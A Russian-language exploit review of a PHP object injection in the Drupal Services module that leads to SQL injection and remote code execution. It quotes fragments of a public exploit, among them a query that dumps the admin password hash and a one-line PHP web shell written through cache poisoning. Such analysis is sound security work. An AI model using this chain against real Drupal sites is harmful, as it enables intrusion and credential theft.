IT-ИМПУЛЬС
Контакты Меню

Обзор эксплоита: SQLi и удаленное выполнение произвольного кода в Drupal Services

Содержание статьи Дата релиза: 8 марта 2017 года
Автор: Чарльз Фол (Charles Fol)
 BRIEF

Уязвимость существует из-за включенной по умолчанию поддержки сериализованных PHP-данных в запросах. Это приводит к атаке типа «внедрение объектов».

 EXPLOIT

В прошлом обзоре мы рассматривали уязвимость в REST API WordPress. Теперь поговорим о проблеме в API CMS Drupal. Здесь все гораздо серьезнее — к нам в руки попадает полноценная RCE. В чем причина? Давай разбираться.

Причины

В Drupal в отличие от того же WordPress для реализации REST API нужно устанавливать отдельный модуль Services. После установки можно заглянуть во вкладку настроек модуля и увидеть там галочку, с которой и связана уязвимость.

Настройка Request parsing — причина уязвимости

По умолчанию поддерживаются данные в форматах:

  • application/vnd.php.serialized;
  • multipart/form-data;
  • application/json;
  • application/xml.

Если со всякими JSON и XML все ясно, то что же такое vnd.php.serialized? Это не что иное, как сериализованные данные PHP. И если отправить запрос с Content-Type: application/vnd.php.serialized, то тело запроса будет передано в unserialize().

/modules/servers/rest_server/rest_server.module:

52: function rest_server_request_parsers() { 53: static $parsers = NULL; 54: if (!$parsers) { 55: $parsers = array( ... 58: 'application/vnd.php.serialized' => 'ServicesParserPHP',

/modules/servers/rest_server/includes/ServicesParser.inc:

14: class ServicesParserPHP implements ServicesParserInterface { 15: public function parse(ServicesContextInterface $context) { 16: return unserialize($context->getRequestBody()); 17: } 18: }

У нас на руках PHP Object Injection как из учебника. Для успешной эксплуатации осталось просмотреть исходники CMS и поискать нужные гаджеты. Правда, Чарльз уже все сделал за нас, достаточно заглянуть в эксплоит.

SQL Injection

Проследим за процессом авторизации по коду. За эту функцию отвечает метод /user/login.

/modules/services/resources/user_resource.inc:

003: function _user_resource_definition() { 004: $definition = array( 005: 'user' => array( ... 139: 'actions' => array( 140: 'login' => array( 141: 'help' => 'Login a user for a new session', 142: 'callback' => '_user_resource_login', ... 593: function _user_resource_login($username, $password) { ... 614: $uid = user_authenticate($username, $password);

Модуль Services, в свою очередь, формирует запрос к внутреннему API ядра Drupal, точнее к функции user_authenticate.

/modules/user/user.module:

2257: function user_authenticate($name, $password) { ... 2260: $account = user_load_by_name($name); ... 2264: if (user_check_password($password, $account)) { 2265: // Successful authentication. 2266: $uid = $account->uid;

Далее из таблицы выбирается пользователь с именем, переданным в параметре username. Если он существует, то переданный пароль сравнивается с находящимся в базе.

На этом этапе нас интересует, каким образом отправляются запросы к базе. Для их построения в Drupal есть классы SelectQueryExtender и DatabaseCondition. Они обрабатывают передаваемые данные, которые затем отправляются в метод query.

/modules/user/user.module:

397: function user_load_by_name($name) { 398: $users = user_load_multiple(array(), array('name' => $name));

/modules/user/user.module:

290: function user_load_multiple($uids = array(), $conditions = array(), $reset = FALSE) { 291: return entity_load('user', $uids, $conditions, $reset);

/includes/common.inc:

8008: function entity_load($entity_type, $ids = FALSE, $conditions = array(), $reset = FALSE) { ... 8012: return entity_get_controller($entity_type)->load($ids, $conditions);

/includes/entity.inc:

157: public function load($ids = array(), $conditions = array()) { ... 196: $query = $this->buildQuery($ids, $conditions, $revision_id); 197: $queried_entities = $query 198: ->execute()

/includes/database/select.inc:

1272: public function execute() { ... 1280: return $this->connection->query((string) $this, $args, $this->queryOptions);

Обрати внимание, что передается не объект, а запрос в текстовом виде (строка 1280). Для этого в классе реализован магический метод __toString(), который конвертирует объект в привычный SQL-запрос с параметрами. В итоге он выглядит так:

SELECT base.uid AS uid, base.name AS name, ... FROM {users} base WHERE (base.name = :db_condition_placeholder_0)

API позволяет выполнять подзапросы, если в качестве параметра передается объект, который является экземпляром SelectQueryInterface.

/includes/database/query.inc:

1652: class DatabaseCondition implements QueryConditionInterface, Countable { ... 1793: public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) { ... 1838: if ($condition['value'] instanceof SelectQueryInterface) { 1839: $condition['value']->compile($connection, $queryPlaceholder); 1840: $placeholders[] = (string) $condition['value']; 1841: $arguments += $condition['value']->arguments();

Инъекция возможна, если объект, который мы передадим в качестве параметра username, будет удовлетворять трем условиям:

  • реализует интерфейс SelectQueryInterface;
  • имеет метод compile();
  • мы контролируем его строковое представление.

Чарльз нашел два класса, которые соответствуют этим условиям, — SelectQueryExtender и DatabaseCondition.

Первый можно использовать как прокси. В эксплоите свойство query — это экземпляр DatabaseCondition, поэтому при конвертировании запроса в строку будет выполнен метод __toString() именно из этого класса. Он и вернет подконтрольную нам строку.

/includes/database/select.inc:

536: class SelectQueryExtender implements SelectQueryInterface { ... 819: public function __toString() { 820: return (string) $this->query; 821: }

Вот как элегантно реализована эксплуатация SQL-инъекции в эксплоите.

41564.php:

046: class DatabaseCondition ... 054: public $stringVersion = null; ... 056: public function __construct($stringVersion=null) 057: { 058: $this->stringVersion = $stringVersion; ... 068: class SelectQueryExtender { ... 072: protected $query = null; ... 078: public function __construct($sql) 079: { 080: $this->query = new DatabaseCondition($sql); ... 102: $query = new SelectQueryExtender($query);

Строка попадает в запрос, и он успешно отрабатывает.

Успешная эксплуатация SQL-инъекции

Как видишь, автор добавил вывод хеша пароля администратора в качестве параметра signature_format.

RCE

Для выполнения произвольного кода в эксплоите используется манипуляция с кешем. Модуль Services кеширует параметры и функции-колбэки для каждого роута, и они выполняются при обращении к этому роуту. Используя объект класса DrupalCacheArray, мы можем изменить поведение конечной точки API и указать любую функцию PHP для ее обработки.

Другими словами, нам нужно сделать следующее:

  • изменить поведение /user/login, указав file_put_contents в качестве функции-обработчика;
  • вызвать /user/login;
  • вернуть стандартное поведение.

Воспользуемся освоенной нами SQL-инъекцией и получим данные из кеша, для того чтобы изменить только нужные значения.

41564.php:

034: $endpoint = 'rest_endpoint'; ... 084: $cache_id = "services:$endpoint:resources"; 085: $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'"; ... 091: $query = ... 094: "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " . ... 102: $query = new SelectQueryExtender($query);

Затем патчим существующее поведение.

41564.php:

036: $file = [ 037: 'filename' => 'dixuSOspsOUU.php', 038: 'data' => '<?php eval(file_get_contents('php://input')); ?>' 039: ]; ... 146: class DrupalCacheArray 147: { ... 156: function __construct($storage, $endpoint, $controller, $action) { ... 160: $this->cid = "services:$endpoint:resources"; ... 165: $storage[$controller]['actions'][$action] = [ 166: 'help' => 'Writes data to a file', 167: # Callback function 168: 'callback' => 'file_put_contents', ... 175: 0 => [ 176: 'name' => 'filename', ... 178: 'description' => 'Path to the file', ... 182: 1 => [ 183: 'name' => 'data', ... 185: 'description' => 'The data to write',

Все, что осталось, — это сделать запрос на патченный роут. В качестве параметров указываем путь до файла (filename) и его содержимое (data). Отправляем и получаем шелл.

Успешная загрузка файла и выполнение кода

Я немного изменил эксплоит Чарльза. Добавил возможность работать через командную строку, а также вывод и сохранение всех данных, которые отправляются и которые возвращаются сервером. Мою версию можно посмотреть тут.

 TARGETS

Drupal Services ветки 7.x-3.x до версии 7.x-3.18.

 SOLUTION

Уязвимость исправлена в версии модуля 7.x-3.19. Причем, как пишет Чарльз, команде безопасников Drupal хватило сорока минут, чтобы изучить его репорт и предложить патч, который устраняет проблему. Воистину быстрая обратная связь!


РАССЫЛКА ПОСЛЕДНИХ НОВОСТЕЙ